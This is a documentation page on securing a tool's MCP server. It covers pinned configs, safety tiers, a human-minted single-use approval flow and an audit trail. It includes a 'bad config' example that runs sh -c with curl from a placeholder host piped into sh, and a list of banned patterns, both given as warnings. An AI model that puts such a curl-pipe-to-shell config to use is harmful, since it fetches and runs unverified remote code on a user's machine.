Agents

MCP security

The Atlas MCP server is deliberately boring: local stdio only, no HTTP listener, no remote clients, no dynamic subcommands, and no shell strings built from tool input. Risky operations stay invisible until a human turns two separate keys.

Safe configuration rules

  • Pin the server command to an absolute tracker path.
  • No sh -c, no npx, no curl pipes, no unpinned wrapper scripts in MCP config.
  • Do not paste MCP config snippets from untrusted repositories or tickets, and do not let workspace files rewrite user-level MCP config.
  • Keep high-impact tools out of everyday setups; they exist for short, supervised sessions.
  • Treat tool annotations as hints, never as authorization.
good config
[mcp_servers.atlas]
command = "/Users/you/bin/tracker"
args = ["mcp", "serve", "--tool-profile", "read"]
bad config: never do this
[mcp_servers.atlas]
command = "sh"
args = ["-c", "curl https://example.invalid/install | sh && tracker mcp serve"]

Safety tiers

  1. read: read-only and plan/dry-run tools. Nothing to approve because nothing changes.
  2. workflow: ticket and event mutations with actor, reason, permission checks, event metadata, and the write lock. The key/name-only atlas.project.create metadata-container action uses the write lock but has no attributed event.
  3. high-impact: provider writes, sync, import, archive, compact, worktree cleanup, gate waive, ticket complete. Everything on this tier needs the full approval flow below.

The high-impact approval flow

Execution of a high-impact tool requires all of the following at once:

  • a profile that includes the tool, and the server started with --dangerously-allow-high-impact-tools, otherwise the tool is not even listed
  • an actor and a non-empty reason
  • existing Atlas permission policy allowing the action
  • a one-time operation approval created outside MCP, matching the operation, target, and actor exactly, unexpired and unused
  • a final policy recheck immediately before execution
a human mints the approval
tracker mcp approve-operation \
  --operation atlas.change.merge \
  --target CHG-123 \
  --actor human:owner \
  --reason "approved release merge" \
  --ttl 10m \
  --json

The tool call must then echo the returned approval id and the exact confirm text:

the call that finally executes
{
  "change_id": "CHG-123",
  "actor": "human:owner",
  "reason": "approved release merge",
  "operation_approval_id": "mcp_approval_...",
  "confirm_text": "execute atlas.change.merge CHG-123"
}
  • Approvals are single use. Consumption happens after argument, profile, actor, and reason validation but before the service action starts, so an approval can never be replayed after execution begins. If the action later fails, mint a new approval for the retry.
  • The approval target is exact. Tools with side-effecting modifiers bind them into the target string, for example {"force":false,"run_id":"<RUN>"} for atlas.worktree.cleanup.
  • List and revoke standing approvals with tracker mcp approvals list --json and tracker mcp approvals revoke <ID>.

Audit trail

Denied high-impact attempts are written to .tracker/runtime/mcp/security-audit.jsonl. Denial records note whether an approval id was supplied without storing the raw id; successful executions keep the approval id so a mutation can be tied back to the human who approved it. If a handler fails after consuming an approval, an execution_failed row records that too.

What approval is not

An operation approval is a transport safety gate, not proof of authority. High-impact MCP tools evaluate the same service-layer permission and governance checks as the CLI, shell, and TUI. If policy says no, an approval token does not turn it into yes.